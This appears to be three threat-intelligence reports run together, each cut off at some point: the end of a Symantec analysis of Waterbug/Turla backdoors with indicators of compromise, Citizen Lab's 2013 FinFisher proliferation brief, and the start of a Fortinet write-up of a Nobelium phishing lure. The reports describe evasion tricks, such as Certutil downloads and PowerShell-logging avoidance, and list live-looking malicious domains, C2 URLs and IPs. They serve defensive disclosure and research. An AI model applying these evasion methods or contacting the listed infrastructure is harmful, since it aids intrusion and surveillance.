7/11 https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2017/10/20114955/Bartholomew-GuerreroSaade-VB2016.pdf https://www.wired.com/story/iran-hackers-oilrig-read-my-lips/ https://www.virusbulletin.com/uploads/pdf/magazine/2017/VB2017-Guerrero-Saade-Raiu.pdf In the first campaign, Waterbug used two versions of a custom loader named javavs.exe (64- bit) and javaws.exe (32-bit), to load a custom backdoor named PhotoBased.dll and run the export function GetUpdate on the victims computers.
The backdoor will modify the registry for the Windows Media Player to store its CC configuration.
It also reconfigures the Microsoft Sysinternals registry to prevent pop-ups when running the PsExec tool.
The backdoor has the capability to download and upload files, execute shell commands, and update its configuration.
The javaws.exe loader is also used to run another loader named tasklistw.exe.
This is used by the attackers to decode and execute a series of malicious executables that download Meterpreter to the infected computer.
The attackers also install another backdoor that runs a command shell via the named pipe cmd_pipe.
Both backdoors allow the attackers to execute various commands that provide full control of the victims system.
Waterbug also used an older version of PowerShell, likely to avoid logging.
In the second campaign, Waterbug used an entirely different backdoor, named securlsa.chk.
This backdoor can receive commands through the RPC protocol.
Its capabilities include: Executing commands through cmd.exe with the output redirected into a temporary file Reading the command output contained in the temporary file Reading or writing arbitrary files This RPC backdoor also included source code derived from the tool PowerShellRunner, which allows a user to run PowerShell scripts without executing powershell.exe, therefore the user may bypass detection aimed at identifying malicious PowerShell usage.
While both campaigns involved distinct tools during the initial compromise phase, there were also many similarities.
Both were characterized by the use of a combination of custom malware and publicly available tools.
Also, during both campaigns Waterbug executed multiple payloads nearly simultaneously, most likely to ensure overlapping access to the network if defenders found and removed one of the backdoors.
Waterbug took several steps to avoid detection.
It named Meterpreter as a WAV file type, probably in the hope that this would not raise suspicions.
The group also used GitHub as a repository for tools that it downloaded post-compromise.
This too was likely motivated by a desire to evade detection, since GitHub is a widely trusted website.
It used Certutil.exe to download files from the repository, which is an application whitelist bypass technique for remote downloads.
In one of these campaigns, Waterbug used a USB stealer that scans removable storage devices to identify and collect files of interest.
It then packages stolen files into a password- 8/11 https://github.com/k-vitali/Malware-Misc-RE/blob/master/2019-04-13-Possible-Turla-PowerShell-Implant.ps1 protected RAR archive.
The malware then uses WebDAV to upload the RAR archive to a Box account.
Unanswered questions This is the first time Symantec has observed one targeted attack group seemingly hijack and use the infrastructure of another group.
However, it is still difficult to ascertain the motive behind the attack.
Whether Waterbug simply seized the opportunity to create confusion about the attack or whether there was more strategic thinking involved remains unknown.
Waterbugs ever-changing toolset demonstrates a high degree of adaptability by a group determined to avoid detection by staying one step ahead of its targets.
Frequent retooling and a penchant for flirting with false flag tactics have made this group one of the most challenging adversaries on the targeted attack landscape.
Protection/Mitigation Symantec has the following protection in place to protect customers against these attacks: File-based protection Backdoor.
Whisperer Hacktool.
Mimikatz Threat Intelligence The DeepSight Managed Adversary and Threat Intelligence (MATI)  team co-authored this blog and its customers have received intelligence with additional details about these campaigns, the characteristics of the Waterbug (aka Turla) cyber espionage group, and methods of detecting and thwarting activities of this adversary.
Indicators of Compromise Campaign 1 24fe571f3066045497b1d8316040734c81c71dcb1747f1d7026cda810085fad7 66893ab83a7d4e298720da28cd2ea4a860371ae938cdd86035ce920b933c9d85 7942eee31d8cb1c8853ce679f686ee104d359023645c7cb808361df791337145 7bd3ff9ba43020688acaa05ce4e0a8f92f53d9d9264053255a5937cbd7a5465e a1d9f5b9ca7dda631f30bd1220026fc8c3a554d61db09b5030b8eb9d33dc9356 c63f425d96365d906604b1529611eefe5524432545a7977ebe2ac8c79f90ad7e cb7ecd6805b12fdb442faa8f61f6a2ee69b8731326a646ba1e8886f0a5dd61e0 db9902cb42f6dc9f1c02bd3413ab3969d345eb6b0660bd8356a0c328f1ec0c07 9/11 https://www.symantec.com/security-center/writeup/2019-052708-1556-99 https://www.symantec.com/security-center/writeup/2012-042615-3731-99 https://www.symantec.com/services/cyber-security-services/deepsight-intelligence/adversary e0c316b1d9d3d9ec5a97707a0f954240bbc9748b969f9792c472d0a40ab919ea e0c316b1d9d3d9ec5a97707a0f954240bbc9748b969f9792c472d0a40ab919ea 5da013a64fd60913b5cb94e85fc64624d0339e09d7dce25ab9be082f0ca5e38b c8a864039f4d271f4ab6f440cbc14dffd8c459aa3af86f79f0619a13f67c309f 588fd8eba6e62c28a584781deefe512659f6665daeb8c85100e0bf7a472ad825 cda5b20712e59a6ba486e55a6ab428b9c45eb8d419e25f555ae4a7b537fc2f26 694d9c8a1f0563c08e0d3ab7d402ffbf5a0fa11340c50fba84d709384ccef021 caaed70daa7832952ae93f41131e74dcb6724bb8669d18f28fbed4aa983fdc0c 493eee2c55810201557ef0e5d134ca0d9569f25ae732df139bb0cb3d1478257f 0e9c3779fece579bed30cb0b7093a962d5de84faa2d72e4230218d4a75ee82bc 5bbeed53aaa40605aabbfde31cbfafd5b92b52720e05fa6469ce1502169177a0 d153e4b8a11e2537ecf99aec020da5fad1e34bbe79f617a3ee5bc0b07c3abdca vision2030.tk vision2030.cf dubaiexpo2020.cf microsoft.updatemeltdownkb7234.com codewizard.ml updatenodes.site https://vision2030.tk/static/googleupdate.txt https://dubaiexpo2020.cf/counter.aspx https://microsoft.updatemeltdownkb7234.com/windows/update.aspx https://codewizard.ml/productivity/update.aspx Campaign 2 10d1bfd5e8e1c8fa75756a9f1787c3179da9ab338a476f1991d9e300c6186575 3fbec774da2a145974a917aeb64fc389345feb3e581b46d018077e28333601a5 52169d7cdd01098efdde4da3fb22991aaa53ab9e02db5d80114a639bf65bce39 56098ed50e25f28d466be78a36c643d19fedc563a2250ae86a6d936318b7f57e 595a54f0bbf297041ce259461ae8a12f37fb29e5180705eafb3668b4a491cecc 5dc26566b4dec09865ea89edd4f9765ef93e789870ed4c25fcc4ebad19780b40 6b60b27385738cac65584cf7d486913ff997c66d97a94e1dde158c9cd03a4206 846a95a26aac843d1fcec51b2b730e9e8f40032ee4f769035966169d68d144c4 c4a6db706c59a5a0a29368f80731904cc98a26e081088e5793764a381708b1ea d0b99353cb6500bb18f6e83fe9eed9ce16e5a8d5b940181e5eafd8d82f328a59 ee7f92a158940a0b5d9b902eb0ed9a655c7e6ba312473b1e2c9ef80d58baa6dd 94.249.192.182 Campaign 3 10/11 454e6c3d8c1c982cd301b4dd82ec3431935c28adea78ed8160d731ab0bed6cb7 4ecb587ee9b872747408c00de5619cb6b973e7d39ce4937655c5d1a07b7500fc 528e2567e24809d2d0ba96fd70e41d71c18152f0f0c4f29ced129ed7701fa42a 6928e212874686d29c85eac72553ccdf89aacb475c61fa3c086c796df3ab5940 b22bbda8f504f8cced886f566f954cc245f3e7c205e57139610bbbff0412611c d52b08dd27f2649bad764152dfc2a7dea0c8894ce7c20b51482f4a4cf3e1e792 e7e41b3d7c0ee2d0939bb56d797eaf2dec44516ba54b8bf1477414b03d4d6e48 ec3da59d4a35941f6951639d81d1c5ff73057d9cf779428d80474e9656db427c fbefe503d78104e04625a511528584327ac129c3436e4df09f3d167e438a1862 markham-travel.com zebra.wikaba.com 185.141.62.32 212.21.52.110 Symantecs managed adversary and threat intelligence (MATI) team of intelligence analysts researchers are dedicated to understanding the adversary ecosystem and providing insightful customer reports detailing their plans, tactics, tools, and campaigns.
11/11 Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments Three waves of attacks Retooled Victims Hijacked infrastructure Further campaigns Unanswered questions Protection/Mitigation Indicators of Compromise
1 The Citizen Lab Research Brief Number 15  March 2013 You Only Click Twice: FinFishers Global Proliferation Morgan Marquis-Boire, Bill Marczak, Claudio Guarnieri, and John Scott-Railton.
This post describes the results of a comprehensive global Internet scan for the command and control servers of FinFishers surveillance software.
It also details the discovery of a campaign using FinFisher in Ethiopia used to target individuals linked to an opposition group.
Additionally, it provides examination of a FinSpy Mobile sample found in the wild, which appears to have been used in Vietnam.
1.
SUMMARY OF KEY FINDINGS We have found command and control servers for FinSpy backdoors, part of Gamma Internationals FinFisher remote monitoring solution, in a total of 25 countries: Australia, Bahrain, Bangladesh, Brunei, Canada, Czech Republic, Estonia, Ethiopia, Germany, India, Indonesia, Japan, Latvia, Malaysia, Mexico, Mongolia, Netherlands, Qatar, Serbia, Singapore, Turkmenistan, United Arab Emirates, United Kingdom, United States, Vietnam.
A FinSpy campaign in Ethiopia uses pictures of Ginbot 7, an Ethiopian opposition group, as bait to infect users.
This continues the theme of FinSpy deployments with strong indications of politically- motivated targeting.
There is strong evidence of a Vietnamese FinSpy Mobile Campaign.
We found an Android FinSpy Mobile sample in the wild with a command  control server in Vietnam that also exfiltrates text messages to a local phone number.
These findings call into question claims by Gamma International that previously reported servers were not part of their product line, and that previously discovered copies of their software were either stolen or demo copies.
Number 15  March 2013 2 2.
BACKGROUND AND INTRODUCTION FinFisher is a line of remote intrusion and surveillance software developed by Munich-based Gamma International GmbH.
FinFisher products are marketed and sold exclusively to law enforcement and intelligence agencies by the UK-based Gamma Group.
1 Although touted as a lawful interception suite for monitoring criminals, FinFisher has gained notoriety because it has been used in targeted attacks against human rights campaigners and opposition activists in countries with questionable human rights records.
2 In late July 2012, we published the results of an investigation into a suspicious e-mail campaign targeting Bahraini activists.
3 We analyzed the attachments and discovered that they contained the FinSpy spyware, FinFishers remote monitoring product.
FinSpy captures information from an infected computer, such as passwords and Skype calls, and sends the information to a FinSpy command  control (C2) server.
The attachments we analyzed sent data to a command  control server inside Bahrain.
This discovery motivated researchers to search for other command  control servers to understand how widely FinFisher might be used.
Claudio Guarnieri at Rapid7 (one of the authors of this report) was the first to search for these servers.
He fingerprinted the Bahrain server and looked at historical Internet scanning data to identify other servers around the world that responded to the same fingerprint.
Rapid7 published this list of servers, and described their fingerprinting technique.
Other groups, including CrowdStrike and SpiderLabs also analyzed and published reports on FinSpy.
Immediately after publication, the servers were apparently updated to evade detection by the Rapid7 fingerprint.
We devised a different fingerprinting technique and scanned portions of the internet.
We confirmed Rapid7s results, and also found several new servers, including one inside Turkmenistans Ministry of Communications.
We published our list of servers in late August 2012, in addition to an analysis of mobile phone versions of FinSpy.
FinSpy servers were apparently updated again in October 2012 to disable this newer fingerprinting technique, although it was never publicly described.
Nevertheless, via analysis of existing samples and observation of command  control servers, we managed to enumerate yet more fingerprinting methods and continue our survey of the internet for this surveillance software.
We describe the results in this post.
Civil society groups have found cause for concern in these findings, as they indicate the use of FinFisher products by countries like Turkmenistan and Bahrain with problematic records on human rights, transparency, and rule of law.
In an August 2012 response to a letter from UK-based NGO Privacy International, the UK Government revealed that at some unspecified time in the past, it had examined a version of FinSpy, and communicated to Gamma that a license would be required to export that version outside of the EU.
Gamma has repeatedly denied links to spyware and servers uncovered by our research, claiming that the servers detected by our scans are not  from the FinFisher product line.
4 Gamma also claims that the spyware sent to activists in Bahrain was an old demonstration version of FinSpy, stolen during a product presentation.
In February 2013, Privacy International, the European Centre for Constitutional and Human Rights (ECCHR), the Bahrain Center for Human Rights, Bahrain Watch, and Reporters Without Borders filed a complaint with the Organization for Economic Cooperation and Development (OECD), requesting that this body investigate whether Gamma violated OECD Guidelines for Multinational Enterprises by exporting FinSpy to Bahrain.
https://citizenlab.org/2013/03/you-only-click-twice-finfishers-global-proliferation-2/1 https://citizenlab.org/2013/03/you-only-click-twice-finfishers-global-proliferation-2/2 https://citizenlab.org/2012/07/from-bahrain-with-love-finfishers-spy-kit-exposed/ https://citizenlab.org/2013/03/you-only-click-twice-finfishers-global-proliferation-2/3 https://community.rapid7.com/community/infosec/blog/2012/08/08/finfisher http://blog.crowdstrike.com/2012/09/finspy-mobile-ios-and-apple-udid-leak.html http://blog.spiderlabs.com/2012/09/finspy-mobile-configuration-and-insight.html https://citizenlab.org/2012/08/the-smartphone-who-loved-me-finfisher-goes-mobile/ https://citizenlab.org/2012/08/the-smartphone-who-loved-me-finfisher-goes-mobile/ https://citizenlab.org/2013/03/you-only-click-twice-finfishers-global-proliferation-2/4 https://www.privacyinternational.org/press-releases/human-rights-organisations-file-formal-complaints-against-surveillance-firms-gamma Number 15  March 2013 3 The complaint called previous Gamma statements into question, noting that at least two different versions (4.00 and 4.01) of FinSpy were found in Bahrain, and that Bahrains server was a FinFisher product and was likely receiving updates from Gamma.
This complaint, as laid out by Privacy International states that Gamma: failed to respect the internationally recognised human rights of those affected by [its] activities caused and contributed to adverse human rights impacts in the course of [its] business activities failed to prevent and mitigate adverse human rights impacts linked to [its] activities and products, and failed to address such impacts where they have occurred failed to carry out adequate due diligence (including human rights due diligence) and failed to implement a policy commitment to respect human rights.
According to recent reporting, German Federal Police appear to have plans to purchase and use the FinFisher suite of tools domestically within Germany.
5 Meanwhile, findings by our group and others continue to illustrate the global proliferation of FinFishers products.
Research continues to uncover troubling cases of FinSpy in countries with dismal human rights track records, and politically repressive regimes.
Most recently, work by Bahrain Watch has confirmed the presence of a Bahraini FinFisher campaign, and further contradicted Gammas public statements.
This post adds to the list by providing an updated list of FinSpy Command  Control servers, and describing the FinSpy malware samples in the wild which appear to have been used to target victims in Ethiopia and Vietnam.
We present these updated findings in the hopes that we will further encourage civil society groups and competent investigative bodies to continue their scrutiny of Gammas activities, relevant export control issues, and the issue of the global and unregulated proliferation of surveillance malware.
https://www.privacyinternational.org/blog/our-oecd-complaint-against-gamma-international-and-trovicor https://netzpolitik.org/2013/secret-government-document-reveals-german-federal-police-plans-to-use-gamma-finfisher-spyware/ https://citizenlab.org/2013/03/you-only-click-twice-finfishers-global-proliferation-2/5 http://bahrainwatch.org/blog/2013/03/13/top-bahraini-company-infected-with-government-spyware-sold-by-uk-firm-in-apparent-politically-motivated-targeting/ Number 15  March 2013 4 FINFISHER: UPDATED GLOBAL SCAN Figure 1.
Map of global FinFisher proliferation Around October 2012, we observed that the behavior of FinSpy servers began to change.
Servers stopped responding to our fingerprint, which had exploited a quirk in the distinctive FinSpy wire protocol.
We believe that this indicates that Gamma either independently changed the FinSpy protocol, or was able to determine key elements of our fingerprint, although it has never been publicly revealed.
In the wake of this apparent update to FinSpy command  control servers, we devised a new fingerprint and conducted a scan of the internet for FinSpy command  control servers.
This scan took roughly two months and involved sending more than 12 billion packets.
Our new scan identified a total of 36 FinSpy servers, 30 of which were new and 6 of which we had found during previous scanning.
The servers operated in 19 different countries.
Among the FinSpy servers we found, 7 were in countries we hadnt seen before.
New Countries Canada, Bangladesh, India, Malaysia, Mexico, Serbia, Vietnam Number 15  March 2013 5 In our most recent scan, 16 servers that we had previously found did not show up.
We suspect that after our earlier scans were published the operators moved them.
Many of these servers were shut down or relocated after the publication of previous results, but before the apparent October 2012 update.
We no longer found FinSpy servers in 4 countries where previous scanning identified them (Brunei, UAE, Latvia, and Mongolia).
Taken together, FinSpy servers are currently, or have been present, in 25 countries.
Australia, Bahrain, Bangladesh, Brunei, Canada, Czech Republic, Estonia, Ethiopia, Germany, India, Indonesia, Japan, Latvia, Malaysia, Mexico, Mongolia, Netherlands, Qatar, Serbia, Singapore, Turkmenistan, United Arab Emirates, United Kingdom, United States, Vietnam.
Importantly, we believe that our list of servers is incomplete due to the large diversity of ports used by FinSpy servers, as well as other efforts at concealment.
Moreover, discovery of a FinSpy command and control server in a given country is not a sufficient indicator to conclude the use of FinFisher by that countrys law enforcement or intelligence agencies.
In some cases, servers were found running on facilities provided by commercial hosting providers that could have been purchased by actors from any country.
The table below shows the FinSpy servers detected in our latest scan.
We list the full IP address of servers that have been previously publicly revealed.
For active servers that have not been publicly revealed, we list the first two octets only.
Releasing complete IP addresses in the past has not proved useful, as the servers are quickly shut down and relocated.
IP Operator Routed to Country 117.121.xxx.xxx GPLHost Australia 77.69.181.162 Batelco ADSL Service Bahrain 180.211.xxx.xxx Telegraph  Telephone Board Bangladesh 168.144.xxx.xxx Softcom, Inc. Canada 168.144.xxx.xxx Softcom, Inc. Canada 217.16.xxx.xxx PIPNI VPS Czech Republic 217.146.xxx.xxx Zone Media UVS/Nodes Estonia 213.55.99.74 Ethio Telecom Estonia 80.156.xxx.xxx Gamma International GmbH Germany 37.200.xxx.xxx JiffyBox Servers Germany Number 15  March 2013 6 178.77.xxx.xxx HostEurope GmbH Germany 119.18.xxx.xxx HostGator India 119.18.xxx.xxx HostGator India 118.97.xxx.xxx PT Telkom Indonesia 118.97.xxx.xxx PT Telkom Indonesia 103.28.xxx.xxx PT Matrixnet Global Indonesia 112.78.143.34 Biznet ISP Indonesia 112.78.143.26 Biznet ISP Indonesia 117.121.xxx.xxx GPLHost Malaysia 187.188.xxx.xxx Iusacell PCS Mexico 201.122.xxx.xxx UniNet Mexico 164.138.xxx.xxx Tilaa Netherlands 164.138.28.2 Tilaa Netherlands 78.100.57.165 Qtel  Government Relations Qatar 195.178.xxx.xxx Tri.d.o.o / Telekom Srbija Serbia 117.121.xxx.xxx GPLHost Singapore 217.174.229.82 Ministry of Communications Turkmenistan 72.22.xxx.xxx iPower, Inc. United States 166.143.xxx.xxx Verizon Wireless United States 117.121.xxx.xxx GPLHost United States 117.121.xxx.xxx GPLHost United States 117.121.xxx.xxx GPLHost United States 117.121.xxx.xxx GPLHost United States 183.91.xxx.xxx CMC Telecom Infrastructure Company Vietnam Number 15  March 2013 7 Several of these findings are especially noteworthy: Eight servers are hosted by provider GPLHost in various countries (Singapore, Malaysia, Australia, US).
However, we observed only six of these servers active at any given time, suggesting that some IP addresses may have changed during our scans.
A server identified in Germany has the registrant Gamma International GmbH, and the contact person is listed as Martin Muench.
There is a FinSpy server in an IP range registered to Verizon Wireless.
Verizon Wireless sells ranges of IP addresses to corporate customers, so this is not necessarily an indication that Verizon Wireless itself is operating the server, or that Verizon Wireless customers are being spied on.
A server in Qatar that was previously detected by Rapid7 seems to be back online after being unresponsive during the last round of our scanning.
The server is located in a range of 16 addresses registered to Qtel  Corporate accounts  Government Relations.
The same block of 16 addresses also contains the website http://qhotels.gov.qa/.
3.
ETHIOPIA AND VIETNAM: IN-DEPTH DISCUSSION OF NEW SAMPLES 3.1 FinSpy in Ethiopia We analyzed a recently acquired malware sample and identified it as FinSpy.
The malware uses images of members of the Ethiopian opposition group, Ginbot 7, as bait.
The malware communicates with a FinSpy Command  Control server in Ethiopia, which was first identified by Rapid7 in August 2012.
The server has been detected in every round of scanning, and remains operational at the time of this writing.
It can be found in the following address block run by Ethio Telecom, Ethiopias state- owned telecommunications provider: IP: 213.55.99.74 route: 213.55.99.0/24 descr: Ethio Telecom origin: AS24757 mnt-by: ETC-MNT member-of: rs-ethiotelecom source: RIPE  Filtered http://qhotels.gov.qa/ Number 15  March 2013 8 The server appears to be updated in a manner consistent with other servers, including servers in Bahrain and Turkmenistan.
MD5 8ae2febe04102450fdbc26a38037c82b SHA-1 1fd0a268086f8d13c6a3262d41cce13470886b09 SHA-256 ff6f0bcdb02a9a1c10da14a0844ed6ec6a68c13c04b4c122afc559d606762fa The sample is similar to a previously analyzed sample of FinSpy malware sent to activists in Bahrain in 2012.
Just like Bahraini samples, the malware relocates itself and drops a JPG image with the same filename as the sample when executed by an unsuspecting user.
This appears to be an attempt to trick the victim into believing the opened file is not malicious.
Here are a few key similarities between the samples: The PE timestamp 2011-07-05 08:25:31 of the packer is exactly the same as the Bahraini sample.
The following string (found in a process infected with the malware), self-identifies the malware and is similar to strings found in the Bahraini samples:  The samples share the same Bootkit, SHA-256: ba21e452ee5ff3478f21b293a134b30ebf6b7f4ec03f8c8153202a740d7978b2.
The samples share the same driverw.sys file, SHA-256: 62bde3bac3782d36f9f2e56db097a4672e70463e11971fad5de060b191efb196.
https://citizenlab.org/2012/07/from-bahrain-with-love-finfishers-spy-kit-exposed/ Number 15  March 2013 9 Figure 2.
The image shown to the victim contains pictures of members of the Ginbot 7 Ethiopian opposition group In this case the picture contains photos of members of the Ethiopian opposition group, Ginbot 7.
Controversially, Ginbot 7 was designated a terrorist group by the Ethiopian Government in 2011.
The Committee to Protect Journalists (CPJ) and Human Rights Watch have both criticized this action, CPJ has pointed out that it is having a chilling effect on legitimate political reporting about the group and its leadership.
The existence of a FinSpy sample that contains Ethiopia-specific imagery, and that communicates with a still- active command  control server in Ethiopia strongly suggests that the Ethiopian Government is using FinSpy.
http://en.wikipedia.org/wiki/Ginbot207 http://www.hrw.org/world-report-2012/ethiopia Number 15  March 2013 10 3.2 FinSpy Mobile in Vietnam We recently obtained and analyzed a malware sample 6 and identified it as FinSpy Mobile for Android.
The sample communicates with a command  control server in Vietnam, and exfiltrates text messages to a Vietnamese telephone number.
The FinFisher suite includes mobile phone versions of FinSpy for all major platforms including iOS, Android, Windows Mobile, Symbian and Blackberry.
Its features are broadly similar to the PC version of FinSpy identified in Bahrain, but it also contains mobile-specific features such as GPS tracking and functionality for silent spy calls to snoop on conversations near the phone.
An in-depth analysis of the FinSpy Mobile suite of backdoors was provided in an earlier blog post: The Smartphone Who Loved Me: FinFisher Goes Mobile?
MD5 573ef0b7ff1dab2c3f785ee46c51a54f SHA-1 d58d4f6ad3235610bafba677b762f3872b0f67cb SHA-256 363172a2f2b228c7b00b614178e4ffa00a3a124200ceef4e6d7edb25a4696345 The sample included a configuration file 7 that indicates available functionality, and the options that have been enabled by those deploying it: Figure 3.
Image of a section of a configuration file for the FinSpy Mobile sample https://citizenlab.org/2013/03/you-only-click-twice-finfishers-global-proliferation-2/6 https://citizenlab.org/2012/08/the-smartphone-who-loved-me-finfisher-goes-mobile/ https://citizenlab.org/2012/08/the-smartphone-who-loved-me-finfisher-goes-mobile/ https://citizenlab.org/2013/03/you-only-click-twice-finfishers-global-proliferation-2/7 Number 15  March 2013 11 Interestingly, the configuration file also specifies a Vietnamese phone number used for SMS based command and control: Section Type: TlvTypeConfigSMSPhoneNumber Section Data: 841257725403 The command and control server is in a range provided by the CMC Telecom Infrastructure Company in Hanoi: IP Address: 183.91.2.199 inetnum: 183.91.0.0  183.91.9.255 netname: FTTX-NET country: Vietnam address: CMC Telecom Infrastructure Company address: Tang 3, 16 Lieu Giai str, Ba Dinh, Ha Noi This server was active until very recently and matched our signatures for a FinSpy command and control server.
Both the command  control server IP and the phone number used for text-message exfiltration are in Vietnam which indicates a domestic campaign.
This apparent FinSpy deployment in Vietnam is troubling in the context of recent threats against online free expression and activism.
In 2012, Vietnam introduced new censorship laws amidst an ongoing harassment, intimidation, and detention campaign against of bloggers who spoke out against the regime.
This culminated in the trial of 17 bloggers, 14 of whom were recently convicted and sentenced to terms ranging from 3 to 13 years.
8 4.
BRIEF DISCUSSION OF FINDINGS Companies selling surveillance and intrusion software commonly claim that their tools are only used to track criminals and terrorists.
FinFisher, VUPEN and Hacking Team have all used similar language.
9 Yet a growing body of evidence suggests that these tools are regularly obtained by countries where dissenting political activity and speech is criminalized.
Our findings highlight the increasing dissonance between Gammas public claims that FinSpy is used exclusively to track bad guys and the growing body of evidence suggesting that the tool has and continues to be used against opposition groups and human rights activists.
While our work highlights the human rights ramifications of the mis-use of this technology, it is clear that there are broader concerns.
A global and unregulated market for offensive digital tools potentially presents a https://citizenlab.org/2013/03/you-only-click-twice-finfishers-global-proliferation-2/8 https://citizenlab.org/2013/03/you-only-click-twice-finfishers-global-proliferation-2/9 Number 15  March 2013 12 novel risk to both national and corporate cyber-security.
On March 12th, US Director of National Intelligence James Clapper stated in his yearly congressional report on security threats: companies develop and sell professional-quality technologies to support cyberoperationsoften branding these tools as lawful-intercept or defensive security research products.
Foreign governments already use some of these tools to target U.S. systems.
The unchecked global proliferation of products like FinFisher makes a strong case for policy debate about surveillance software and the commercialization of offensive cyber-capabilities.
Our latest findings give an updated look at the global proliferation of FinSpy.
We identified 36 active FinSpy command  control servers, including 30 previously-unknown servers.
Our list of servers is likely incomplete, as some FinSpy servers employ countermeasures to prevent detection.
Including servers discovered last year, we now count FinSpy servers in 25 countries, including countries with troubling human rights records.
This is indicative of a global trend towards the acquisition of offensive cyber-capabilities by non-democratic regimes from commercial Western companies.
The Vietnamese and Ethiopian FinSpy samples we identified warrant further investigation, especially given the poor human rights records of these countries.
The fact that the Ethiopian version of FinSpy uses images of opposition members as bait suggests it may be used for politically influenced surveillance activities, rather than strictly law enforcement purposes.
The Ethiopian sample is the second FinSpy sample we have discovered that communicates with a server we identified by scanning as a FinSpy command  control server.
This further validates our scanning results, and calls into question Gammas claim that such servers are not  from the FinFisher product line.
10 Similarities between the Ethiopian sample and those used to target Bahraini activists also bring into question Gamma Internationals earlier claims that the Bahrain samples were stolen demonstration copies.
While the sale of such intrusion and surveillance software is largely unregulated, the issue has drawn increased high-level scrutiny.
In September of last year, the German foreign minister, Guido Westerwelle, called for an EU-wide ban on the export of such surveillance software to totalitarian states.
11 In a December 2012 interview, Marietje Schaake (MEP), currently the rapporteur for the first EU strategy on digital freedom in foreign policy, stated that it was quite shocking that Europe companies continue to export repressive technologies to countries where the rule of law is in question.
12 We urge civil society groups and journalists to follow up on our findings within affected countries.
We also hope that our findings will provide valuable information to the ongoing technology and policy debate about surveillance software and the commercialisation of offensive cyber-capabilities.
http://news.cnet.com/8301-1009_3-57573902-83/intelligence-chief-offers-dire-warning-on-cyberattacks/ https://citizenlab.org/2013/03/you-only-click-twice-finfishers-global-proliferation-2/10 https://citizenlab.org/2013/03/you-only-click-twice-finfishers-global-proliferation-2/11 https://citizenlab.org/2013/03/you-only-click-twice-finfishers-global-proliferation-2/12 Number 15  March 2013 13 ACKNOWLEDGEMENTS Wed like to thank Eva Galperin and the Electronic Frontier Foundation (EFF), Privacy International, Bahrain Watch, and Drew Hintz.
MEDIA COVERAGE Media coverage of the report includes HuffingtonPost Canada, Salon, The Verge, Bloomberg Business Week, TheYoungTurks.
__________________________________
FOOTNOTES 1 https://www.gammagroup.com/ 2 Software Meant to Fight Crime Is Used to Spy on Dissidents, http://goo.gl/GDRMe, New York Times, August 31, 2012, Page A1 Print edition.
3 Cyber Attacks on Activists Traced to FinFisher Spyware of Gamma, http://goo.gl/nJH7o, Bloomberg, July 25, 2012 4 http://bits.blogs.nytimes.com/2012/08/16/company-denies-role-in-recently-uncovered-spyware/ 5 http://www.sueddeutsche.de/digital/finfisher-entwickler-gamma-spam-vom-staat-1.1595253 6 This sample has also been discussed by Denis Maslennikov from Kasperksy in his analyses of FinSpy Mobile https://www.securelist.com/en/analysis/204792283/Mobile_Malware_Evolution_Part_6 7 Configuration parsed with a tool written by Josh Grunzweig of Spider Labs http://blog.spiderlabs.com/2012/09/finspy-mobile-configuration-and-insight.html 8 https://www.eff.org/deeplinks/2013/01/bloggers-trial-vietnam-are-part-ongoing-crackdown-free-expression 9 https://www.securityweek.com/podcast-vupen-ceo-chaouki-bekrar-addresses-zero-day-marketplace- controversy-cansecwest 10 http://bits.blogs.nytimes.com/2012/08/16/company-denies-role-in-recently-uncovered-spyware/ 11 http://www.guardian.co.uk/uk/2012/nov/28/offshore-company-directors-military-intelligence 12 http://www.vieuws.eu/foreign-affairs/digital-freedoms-marietje-schaake-mep-alde/ http://www.huffingtonpost.com/2013/03/13/finspy-spyware-activists_n_2864579.html http://www.salon.com/2013/03/13/surveillance_software_used_to_spy_on_activists_around_the_world/singleton/ http://www.theverge.com/2013/3/13/4098592/spying-software-finspy-finfisher-25-countries-human-rights-concerns http://www.businessweek.com/news/2013-03-13/gamma-finspy-surveillance-servers-in-25-countries http://www.youtube.com/watch?v9-KccjnpicolistUU1yBKRuGpC1tSM73A0ZjYjQindex7 https://www.gammagroup.com/ http://goo.gl/GDRMe http://goo.gl/nJH7o http://bits.blogs.nytimes.com/2012/08/16/company-denies-role-in-recently-uncovered-spyware/ http://www.sueddeutsche.de/digital/finfisher-entwickler-gamma-spam-vom-staat-1.1595253 https://www.securelist.com/en/analysis/204792283/Mobile_Malware_Evolution_Part_6 http://blog.spiderlabs.com/2012/09/finspy-mobile-configuration-and-insight.html https://www.eff.org/deeplinks/2013/01/bloggers-trial-vietnam-are-part-ongoing-crackdown-free-expression https://www.securityweek.com/podcast-vupen-ceo-chaouki-bekrar-addresses-zero-day-marketplace-controversy-cansecwest https://www.securityweek.com/podcast-vupen-ceo-chaouki-bekrar-addresses-zero-day-marketplace-controversy-cansecwest http://bits.blogs.nytimes.com/2012/08/16/company-denies-role-in-recently-uncovered-spyware/ http://www.guardian.co.uk/uk/2012/nov/28/offshore-company-directors-military-intelligence http://www.vieuws.eu/foreign-affairs/digital-freedoms-marietje-schaake-mep-alde/
1/5 February 24, 2022 Nobelium Returns to the Political World Stage fortinet.com/blog/threat-research/nobelium-returns-to-the-political-world-stage FortiGuard Labs Research Affected Platforms: Windows Impacted Users: Windows users associated with the targeted embassies Impact: Compromised machines are under the control of the threat actor Severity Level: Medium Nobelium, also known as APT29 and Cozy Bear, is a highly sophisticated group of Russian- sponsored cybercriminals.
Approximately two years ago, countless system administrators and IT teams were forced to work around the clock to address Nobeliums attack on SolarWinds.
And last year, they similarly targeted numerous IT supply chains in the hopes of being able to embed themselves once again deep inside IT networks.
But fast forward to today, and the Nobelium group seems to have shifted their focus.
This time, rather than targeting software solutions, they have begun targeting embassies.
While these attacks may not impact the average Windows computer user, they do have potentially larger political ramifications.
FortiGuard Labs has uncovered evidence that the Nobelium group is impersonating someone associated with the Turkish embassy in targeted email-based attacks.
We will be analyzing one such attack that uses Omicron/Covid-19 as a lure.
Those working in or around embassies are urged to be extra diligent when opening emails.
In this blog, we will highlight techniques and code reuse by Nobelium.
We will also highlight the usage of JARM, which is a widely used technology created by Salesforce to fingerprint and track malicious servers.
https://www.fortinet.com/blog/threat-research/nobelium-returns-to-the-political-world-stage https://www.fortinet.com/fortiguard/labs.html?utm_sourceblogutm_mediumcampaignutm_campaignFortiGuardLabs 2/5 Figure 1: Embassy email The source email address seems to be a legitimate, albeit compromised email account of a government department focused on social affairs.
In tracing this, however, this email comes from a French-speaking country in Africa.
It is disguised as coming from a Turkish embassy and sent to a Portuguese-speaking nation, although it is written in English.
The email itself comes with a .HTML file attachment.
This file contains malicious JavaScript designed to create an .ISO file on the users computer.
